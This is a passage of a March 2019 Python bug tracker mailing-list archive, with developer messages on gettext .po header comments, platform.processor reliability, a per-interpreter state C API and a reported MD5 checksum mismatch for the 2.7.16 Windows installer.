"Content-Transfer-Encoding: 8bit\n"
"#-#-#-#-#  blank_web_help_et.po (sympa)  #-#-#-#-#\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"#-#-#-#-#  tmp_web_help_et.po (et)  #-#-#-#-#\n"
"X-Generator: Pootle 1.0.2\n"

They are 2 headers starting with >"#-#-#-#-# < and ending with >  #-#-#-#-#\n"<.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Fri Mar  8 10:20:58 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 15:20:58 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
In-Reply-To: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>
Message-ID: <1552058458.41.0.904488565118.issue36239@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I hacked gettext.py to parse all files of my system. I found 3 .mo files which contain "#" in headers:

/usr/share/locale/fa/LC_MESSAGES/digikam.mo:

{'content-transfer-encoding': '8bit\n'
                              '#-#-#-#-#  digikamimageplugin_channelmixer.po '
                              '(digikamimageplugin_channelmixer)  #-#-#-#-#',
 'content-type': 'text/plain; charset=UTF-8',
 'language': 'fa',
 'language-team': 'Farsi (Persian) <>',
 'last-translator': 'Mohammad Reza Mirdamadi <mohi at ubuntu.ir>',
 'mime-version': '1.0',
 'plural-forms': 'nplurals=1; plural=0;',
 'po-revision-date': '2012-01-13 15:00+0330',
 'pot-creation-date': '2018-03-18 03:11+0100',
 'project-id-version': 'digikam',
 'report-msgid-bugs-to': 'http://bugs.kde.org',
 'x-generator': 'KBabel 1.11.4'}

/usr/share/locale/ia/LC_MESSAGES/akonadicontact5-serializer.mo:

{'content-transfer-encoding': '8bit\n'
                              '#-#-#-#-#  akonadi_kalarm_resource.po  '
                              '#-#-#-#-#',
 'content-type': 'text/plain; charset=UTF-8',
 'language': 'ia',
 'language-team': 'Interlingua <kde-i18n-it at kde.org>',
 'last-translator': 'g.sora <g.sora at tiscali.it>',
 'mime-version': '1.0',
 'plural-forms': 'nplurals=2; plural=n != 1;',
 'po-revision-date': '2011-11-29 19:38+0100',
 'pot-creation-date': '2018-11-12 06:56+0100',
 'project-id-version': '',
 'report-msgid-bugs-to': 'http://bugs.kde.org',
 'x-generator': 'Lokalize 1.2'}

/usr/share/locale/ml/LC_MESSAGES/ktraderclient5.mo:

{'content-transfer-encoding': '8bit',
 'content-type': 'text/plain; charset=UTF-8',
 'language': 'ml',
 'language-team': 'Swathanthra|????????? Malayalam|?????? '
                  'Computing|??????????????? <smc-discuss at googlegroups.com>',
 'last-translator': '# ANI PETER|??? ???????\u200d <peter.ani at gmail.com>',
 'mime-version': '1.0',
 'plural-forms': 'nplurals=2; plural=(n != 1);',
 'po-revision-date': '2008-07-10 22:04+0530',
 'pot-creation-date': '2018-09-14 06:47+0200',
 'project-id-version': 'ktraderclient',
 'report-msgid-bugs-to': 'http://bugs.kde.org',
 'x-generator': 'KBabel 1.11.4'}

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Fri Mar  8 10:27:47 2019
From: report at bugs.python.org (Julien Palard)
Date: Fri, 08 Mar 2019 15:27:47 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
In-Reply-To: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>
Message-ID: <1552058867.82.0.0929501226484.issue36239@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:

The

 'last-translator': '# ANI PETER|??? ???????\u200d <peter.ani at gmail.com>',

case does not looks like an issue, it does *not* starts with #, it's in the middle of the line, the line starts with "Last-Translator".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Fri Mar  8 10:30:19 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 15:30:19 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
In-Reply-To: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>
Message-ID: <1552059019.32.0.0323320953263.issue36239@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

/usr/share/locale/fa/LC_MESSAGES/digikam.mo:

I downloaded the .po file using:

svn cat svn://anonsvn.kde.org/home/kde/trunk/l10n-kf5/fa/messages/extragear-graphics/digikam.po > fa_digikam.po

It contains many comments in headers. Extract:

(...)
# MaryamSadat Razavi <razavi at itland.ir>, 2007.
# Nasim Daniarzadeh <daniarzadeh at itland.ir>, 2007.
# Nazanin Kazemi <kazemi at itland.ir>, 2007.
# Mohammad Reza Mirdamadi <mohi at ubuntu.ir>, 2011, 2012.
msgid ""
msgstr ""
"Project-Id-Version: digikam\n"
"Report-Msgid-Bugs-To: http://bugs.kde.org\n"
"POT-Creation-Date: 2019-03-08 03:08+0100\n"
"PO-Revision-Date: 2012-01-13 15:00+0330\n"
"Last-Translator: Mohammad Reza Mirdamadi <mohi at ubuntu.ir>\n"
"Language-Team: Farsi (Persian) <>\n"
"Language: fa\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"#-#-#-#-#  digikamimageplugin_channelmixer.po "
"(digikamimageplugin_channelmixer)  #-#-#-#-#\n"
"X-Generator: Lokalize 1.2\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"#-#-#-#-#  digikamimageplugin_refocus.po (digikamimageplugin_refocus)  #-#-#-"
"#-#\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"#-#-#-#-#  digikamimageplugin_oilpaint.po (digikamimageplugin_oilpaint)  #-#-"
"#-#-#\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"#-#-#-#-#  digikamimageplugin_perspective.po "
"(digikamimageplugin_perspective)  #-#-#-#-#\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"#-#-#-#-#  digikamimageplugin_freerotation.po "
"(digikamimageplugin_freerotation)  #-#-#-#-#\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"#-#-#-#-#  digikamimageplugins.po (digikamimageplugins)  #-#-#-#-#\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"#-#-#-#-#  digikamimageplugin_raindrop.po (digikamimageplugin_raindrop)  #-#-"
"#-#-#\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"#-#-#-#-#  digikamimageplugin_blowup.po (digikamimageplugin_blowup)  #-#-#-#-"
"#\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"#-#-#-#-#  digikamimageplugin_charcoal.po (digikamimageplugin_charcoal)  #-#-"
"#-#-#\n"
(...)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Fri Mar  8 10:30:54 2019
From: report at bugs.python.org (Joannah Nanjekye)
Date: Fri, 08 Mar 2019 15:30:54 +0000
Subject: [issue36157] Document PyInterpreterState_Main().
In-Reply-To: <1551458200.72.0.727788487318.issue36157@roundup.psfhosted.org>
Message-ID: <1552059054.09.0.106789819723.issue36157@roundup.psfhosted.org>


Change by Joannah Nanjekye <nanjekyejoannah at gmail.com>:


----------
keywords: +patch
pull_requests: +12226
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36157>
_______________________________________

From report at bugs.python.org  Fri Mar  8 10:38:08 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 15:38:08 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
In-Reply-To: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>
Message-ID: <1552059488.92.0.0616338283376.issue36239@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

/usr/share/locale/ml/LC_MESSAGES/ktraderclient5.mo:

svn cat svn://anonsvn.kde.org/home/kde/trunk/l10n-kf5/ml/messages/kde-workspace/ktraderclient5.po > ml_ktraderclient5.po

Extract:

msgid ""
msgstr ""
"Project-Id-Version: ktraderclient\n"
"Report-Msgid-Bugs-To: http://bugs.kde.org\n"
"POT-Creation-Date: 2018-08-16 09:14+0200\n"
"PO-Revision-Date: 2008-07-10 22:04+0530\n"
"Last-Translator: # ANI PETER|??? ???????<200d> <peter.ani at gmail.com>\n"
"Language-Team: Swathanthra|????????? Malayalam|?????? Computing|??????????????? <smc-"
"discuss at googlegroups.com>\n"
"Language: ml\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Fri Mar  8 10:38:22 2019
From: report at bugs.python.org (Julien Palard)
Date: Fri, 08 Mar 2019 15:38:22 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
In-Reply-To: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>
Message-ID: <1552059502.23.0.146167109577.issue36239@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:

That's literally sick ? Looks like we have to trust the "\n", not the file wrapping, but this means that:

msgstr ""
"Pro"
"jec"
"t-I"
"d-V"
"ers"
"ion"
": "
"dig"
"ika"
"m\n"
"Report-Msgid-Bugs-To: http://bugs.kde.org\n"

is valid, too? I have to try it!

HAHA it is:

$ cat ~/clones/python-docs-fr/glossary.po | head -n 20
# Copyright (C) 2001-2018, Python Software Foundation
# For licence information, see README file.
#
msgid ""
msgstr ""
"Pr"
"oj"
"ec"
"t-"
"Id"
"-V"
"er"
"si"
"on"
":"
" P"
"ython 3.6\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2018-12-21 09:48+0100\n"
"PO-Revision-Date: 2019-03-08 14:48+0100\n"

$ msgcat ~/clones/python-docs-fr/glossary.po | head -n 20
# Copyright (C) 2001-2018, Python Software Foundation
# For licence information, see README file.
#
msgid ""
msgstr ""
"Project-Id-Version: Python 3.6\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2018-12-21 09:48+0100\n"
"PO-Revision-Date: 2019-03-08 14:48+0100\n"
"Last-Translator: Jules Lasne <jules.lasne at gmail.com>\n"
"Language-Team: FRENCH <traductions at lists.afpy.org>\n"
"Language: fr\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 2.0.2\n"
"# Pouette\n"

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Fri Mar  8 10:43:45 2019
From: report at bugs.python.org (Joannah Nanjekye)
Date: Fri, 08 Mar 2019 15:43:45 +0000
Subject: [issue36157] Document PyInterpreterState_Main().
In-Reply-To: <1551458200.72.0.727788487318.issue36157@roundup.psfhosted.org>
Message-ID: <1552059825.91.0.388913306966.issue36157@roundup.psfhosted.org>


Joannah Nanjekye <nanjekyejoannah at gmail.com> added the comment:

Since there was no response, I decided to  open a PR for this.

----------
keywords:  -patch
stage: patch review -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36157>
_______________________________________

From report at bugs.python.org  Fri Mar  8 10:56:14 2019
From: report at bugs.python.org (Julien Palard)
Date: Fri, 08 Mar 2019 15:56:14 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
In-Reply-To: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>
Message-ID: <1552060574.12.0.988216186539.issue36239@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:

I tested further, and when we have this horrible mess in the po files:

msgstr ""
"Pro"
"jec"
"t-I"
"d-V"
"ers"
"ion"
": "
"dig"
"ika"
"m\n"

We have a clean string in the .mo file.

So there is no fear to have of:

"Plural-Forms: nplurals=1; plural=0;\n"
"#-#-#-#-#  digikamimageplugin_raindrop.po (digikamimageplugin_raindrop)  #-#-"
"#-#-#\n"
"X-Generator: KBabel 1.11.4\n"

It will be nicely stored in the mo as:

Plural-Forms: nplurals=1; plural=0;
#-#-#-#-#  digikamimageplugin_raindrop.po (digikamimageplugin_raindrop)  #-#-#-#-#
X-Generator: KBabel 1.11.4

So you can safely remove lines starting and ending with #-#-#-#-#.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Fri Mar  8 10:56:27 2019
From: report at bugs.python.org (=?utf-8?q?Ernesto_Eduardo_Medina_N=C3=BA=C3=B1ez?=)
Date: Fri, 08 Mar 2019 15:56:27 +0000
Subject: [issue21253] unittest assertSequenceEqual can lead to
 Difflib.compare() crashing on mostly different sequences
In-Reply-To: <1397663686.19.0.71446048811.issue21253@psf.upfronthosting.co.za>
Message-ID: <1552060587.86.0.604510065006.issue21253@roundup.psfhosted.org>


Ernesto Eduardo Medina N??ez <ernestomedina17 at gmail.com> added the comment:

While this gets fixed, can you provide a workaround? or recommend another library?

----------
nosy: +Ernesto Eduardo Medina N??ez

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21253>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:07:53 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 16:07:53 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552061273.96.0.173947391421.issue35967@roundup.psfhosted.org>


Jason R. Coombs <jaraco at jaraco.com> added the comment:

After fussing with sysctl for a while, I'm fairly confident that one can't use sysctl on Linux reliably (https://stackoverflow.com/a/55066774/70170). I'll keep digging to see if I can find another implementation of `uname` that's used on Linux.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:12:32 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 16:12:32 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552061552.75.0.667583853795.issue35967@roundup.psfhosted.org>


Jason R. Coombs <jaraco at jaraco.com> added the comment:

[This answer](https://unix.stackexchange.com/a/307960/275034) is extremely helpful. `uname -p` isn't available on Linux except Fedora and late versions of Debian that apply the patch.

This lack of consistency means that `platform.uname().processor` and thus `platform.processor()` is an inherently unreliable interface.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:12:57 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 08 Mar 2019 16:12:57 +0000
Subject: [issue36124] Provide convenient C API for storing per-interpreter
 state
In-Reply-To: <1551512028.73.0.931816514669.issue36124@roundup.psfhosted.org>
Message-ID: <CALFfu7DDAu1RDA6q0furYXr87Yn7D_jbpkHqv6rfyTCm_bG+Kw@mail.gmail.com>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

On Sat, Mar 2, 2019 at 12:33 AM Armin Rigo <report at bugs.python.org> wrote:
> PyModule_GetState() requires having the module object that corresponds
> to the given interpreter state.  I'm not sure how a C extension module is
> supposed to get its own module object corresponding to the current
> interpreter state, without getting it from the caller in some way.

Fair enough. :)

> If you want to point out a different approach that might work too, that's OK too.

As Petr noted, the preferred solution isn't feasible yet (pending
several PEPs) and depends on using multi-phase extension module
initialization (PEP 489).  Furthermore, that assumes that the
preferred solution would meet your performance needs.  If you think it
wouldn't then this is a great chance to speak up. :)

> It's just that the current approach was arrived at after multiple generations of
> crash reports, which makes me uneasy about changing it in more subtle ways
> than just killing it in favor of a careful PyInterpreterState_GetDict().

Understood.

Thanks for the detailed explanation on why you are using
"interp->dict", and how you need to avoid fatal errors (e.g. from
"PyImport_GetModuleDict()" during shutdown).

Your solution seems reasonable, since every interpreter will have it's
own "modules" object.  However, note that "interp->modules" can get
swapped out with a different object at any moment.  The use case is
temporarily setting a different import state (e.g. isolating a
module's import).  Currently this isn't very common (especially since
"interp->modules" is currently not sync'ed with "sys.modules"), but we
have plans for making this easier to do from Python code in the
not-distant future.

Regardless, I agree that PyInterpreterState_GetDict() will solve
several problems for you.  I'm sorry we didn't provide this solution
for you sooner.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36124>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:14:06 2019
From: report at bugs.python.org (andrejs-sisojevs-accenture)
Date: Fri, 08 Mar 2019 16:14:06 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
Message-ID: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>


New submission from andrejs-sisojevs-accenture <andrejs.sisojevs at accenture.com>:

On download page 
https://www.python.org/downloads/release/python-2716/
MD5 checksum for "Windows x86-64 MSI installer" is 2fe86194bb4027be75b29852027f1a79

But download file checksum is `2841e92ba89a6f036305a8a07fbe9d18`.
Checksum calculated on 2 different machines (Windows and MacOS), both strongly protected by antiviruses.

----------
components: Installation
messages: 337502
nosy: andrejs-sisojevs-accenture
priority: normal
severity: normal
status: open
title: MD5 checksum is not valid for v2.7.16 "Windows x86-64 MSI installer"
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:14:25 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 16:14:25 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552061665.98.0.414839630889.issue35967@roundup.psfhosted.org>


Jason R. Coombs <jaraco at jaraco.com> added the comment:

Correction on last comment: s/Debian/Ubuntu/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:16:32 2019
From: report at bugs.python.org (andrejs-sisojevs-accenture)
Date: Fri, 08 Mar 2019 16:16:32 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
In-Reply-To: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>
Message-ID: <1552061792.01.0.596983695188.issue36241@roundup.psfhosted.org>


andrejs-sisojevs-accenture <andrejs.sisojevs at accenture.com> added the comment:

Checksum for earlier v2.7.15 is fine.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:16:49 2019
From: report at bugs.python.org (Ned Deily)
Date: Fri, 08 Mar 2019 16:16:49 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552061809.76.0.258215128395.issue36235@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

This appears to be a duplicate of Issue969718.

----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:17:29 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 08 Mar 2019 16:17:29 +0000
Subject: [issue36124] Provide convenient C API for storing per-interpreter
 state
In-Reply-To: <1551188802.37.0.811137397494.issue36124@roundup.psfhosted.org>
Message-ID: <1552061849.16.0.688110280121.issue36124@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

Also, while PyThreadState_GetDict() is the inspiration here, we don't have to copy it exactly.  For instance, PyInterpreterState_GetDict() takes a PyInterpreterState* argument, whereas PyThreadState_GetDict() takes no arguments and gets the PyThreadState* from thread-local storage.

Is there anything else that would make sense to do differently with PyInterpreterState_GetDict()?  It's pretty basic, so I'm guessing "no". :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36124>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:18:35 2019
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0LDRgiDQndCw0LPQsNC10LI=?=)
Date: Fri, 08 Mar 2019 16:18:35 +0000
Subject: [issue36228] Support coercion of complex to float/int
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1552061915.71.0.404786049281.issue36228@roundup.psfhosted.org>


????? ?????? <sidorovmarat1995 at gmail.com> added the comment:

>For those rare cases where this is needed, it isn't that hard to spell out `complex(floor(z.real)
But in Python we have math.tau. However it's just 2*pi.
>`math.floor` of a `float` object returns an `int`
Maybe the best solution is to add functions floor and ceil to cmath module and edit floor and ceil function (in case passing complex argument these function could raise TypeError)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:24:24 2019
From: report at bugs.python.org (Andre Dias)
Date: Fri, 08 Mar 2019 16:24:24 +0000
Subject: [issue36242] ABC: We ask U.S. news media to interview Human Rights
 expert Alfred de Zayas about Venezuela.
Message-ID: <CAP89Rrf3qcOUpfx4ON_gT2GQfNGQra2zSETrMFDobJmWYscYDw@mail.gmail.com>


New submission from Andre Dias <aod7br at gmail.com>:

Ol?,

Eu acabei de assinar o abaixo-assinado "ABC: We ask U.S. news media to
interview Human Rights expert Alfred de Zayas about Venezuela." e queria
saber se voc? pode ajudar assinando tamb?m.

A nossa meta ? conseguir 1.000 assinaturas e precisamos de mais apoio. Voc?
pode ler mais sobre este assunto e assinar o abaixo-assinado aqui:

http://chng.it/nnZvDGFYh4

Obrigado!
Andre

----------
messages: 337508
nosy: aod
priority: normal
severity: normal
status: open
title: ABC: We ask U.S. news media to interview Human Rights expert Alfred de Zayas about Venezuela.

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36242>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:30:26 2019
From: report at bugs.python.org (SilentGhost)
Date: Fri, 08 Mar 2019 16:30:26 +0000
Subject: [issue36242] spam
In-Reply-To: <CAP89Rrf3qcOUpfx4ON_gT2GQfNGQra2zSETrMFDobJmWYscYDw@mail.gmail.com>
Message-ID: <1552062626.83.0.505736181054.issue36242@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy:  -aod
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed
title: ABC: We ask U.S. news media to interview Human Rights expert Alfred de Zayas about Venezuela. -> spam

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36242>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:30:43 2019
From: report at bugs.python.org (SilentGhost)
Date: Fri, 08 Mar 2019 16:30:43 +0000
Subject: [issue36242] spam
Message-ID: <1552062643.73.0.872804433265.issue36242@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
Removed message: https://bugs.python.org/msg337508

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36242>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:34:32 2019
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Fri, 08 Mar 2019 16:34:32 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1552061552.75.0.667583853795.issue35967@roundup.psfhosted.org>
Message-ID: <62a94ce3-8aa4-5c56-d6ad-e2641d90433d@egenix.com>


Marc-Andre Lemburg <mal at egenix.com> added the comment:

Jason: StackExchange does have lots of good hints, but it's not always
the correct. In this case, it's clearly wrong. uname -p has been
available on many Unix installations for decades.

I started writing the module back in 1999 and even then, the support
was already working on the systems I used at the time, and several
others, as you can see from this page:

https://www.egenix.com/www2002/python/mxCGIPython.html

The module was originally created to come up with a good name to
use for identifying platform binaries coming out of my mxCGIPython
project.

Note that the processor is not always needed to determine whether
software runs on a machine or not. The "uname -m" output often
is enough, but there are cases where e.g. compiler options are
used which produces code that only works on particular processors.

Perhaps adding a more capable API to interface to /proc/cpuinfo
would be a good idea.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:35:47 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 08 Mar 2019 16:35:47 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
In-Reply-To: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>
Message-ID: <1552062947.42.0.319452896974.issue36241@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +benjamin.peterson

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:39:00 2019
From: report at bugs.python.org (SilentGhost)
Date: Fri, 08 Mar 2019 16:39:00 +0000
Subject: [issue12851] ctypes: getbuffer() never provides strides
In-Reply-To: <1314611923.07.0.681765586879.issue12851@psf.upfronthosting.co.za>
Message-ID: <1552063140.19.0.123190346231.issue12851@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +amaury.forgeotdarc, belopolsky, meador.inge

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12851>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:42:11 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 08 Mar 2019 16:42:11 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
In-Reply-To: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>
Message-ID: <1552063331.11.0.103667229849.issue36241@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

The download page linked doesn't contain checksum 2fe86194bb4027be75b29852027f1a79. The checksum in the page is 2841e92ba89a6f036305a8a07fbe9d18 and I can confirm that the downloaded binary also has the correct checksum as below : 

karthi at ubuntu-s-1vcpu-1gb-blr1-01:~$ wget https://www.python.org/ftp/python/2.7.16/python-2.7.16.amd64.msi
karthi at ubuntu-s-1vcpu-1gb-blr1-01:~$ md5sum python-2.7.16.amd64.msi
2841e92ba89a6f036305a8a07fbe9d18  python-2.7.16.amd64.msi

>From https://www.python.org/downloads/release/python-2716/

> Windows x86-64 MSI installer Windows for AMD64/EM64T/x64 2841e92ba89a6f036305a8a07fbe9d18 	20348928 SIG

----------
nosy: +steve.dower, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:45:11 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 16:45:11 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552063511.38.0.912760507061.issue35967@roundup.psfhosted.org>


Jason R. Coombs <jaraco at jaraco.com> added the comment:

> the output of platform.uname() needs to stay compatible to what the function returned prior

Do we really wish to retain the output for this unreliable interface, especially when it is not standardized and is returning improper information? Is it valuable for `platform.processor()` to return "i386" (a 34-year-old processor) for my 2017 Macbook Pro?

Does maintaining compatibility for `platform.uname()` also imply that `platform.processor()` needs to return `platform.uname().processor`, or could the interface on the latter change, to provide a more useful value, while retaining the behavior of `platform.uname()`?

My instinct is it's impractical to attempt to maintain all of these forks of "uname -p", especially when the result is a largely unpredictable value, so I'm considering the only other viable option I can conceive now:

 - retain the subprocess call to "uname", but bind it late, as a functools.cached_property, such that "uname -p" is only ever called when the processor property is requested. This approach would also require overriding __iter__ and __getitem__ to retain the namedtuple interface while having that element resolved late.

I was also considering this: instead of invoking "uname" anywhere on the path, invoke it from an explicit whitelist of paths, such as /bin and /usr/bin, so that it's never self-referential. Unfortunately, that wouldn't work if a Python-based implementation were put on one of those paths, so it would be brittle at best.

Marc-Andre, I'd love your feedback in light of these challenges.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:49:41 2019
From: report at bugs.python.org (Jeremy Kloth)
Date: Fri, 08 Mar 2019 16:49:41 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
In-Reply-To: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>
Message-ID: <1552063781.06.0.16029214811.issue36241@roundup.psfhosted.org>


Jeremy Kloth <jeremy.kloth+python-tracker at gmail.com> added the comment:

When I visit the provided link, I also see what OP describes.

Is it a caching/location issue?  I'm in US-Colorado.

----------
nosy: +jkloth

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Fri Mar  8 12:00:18 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 17:00:18 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552064418.68.0.171775434915.issue35967@roundup.psfhosted.org>


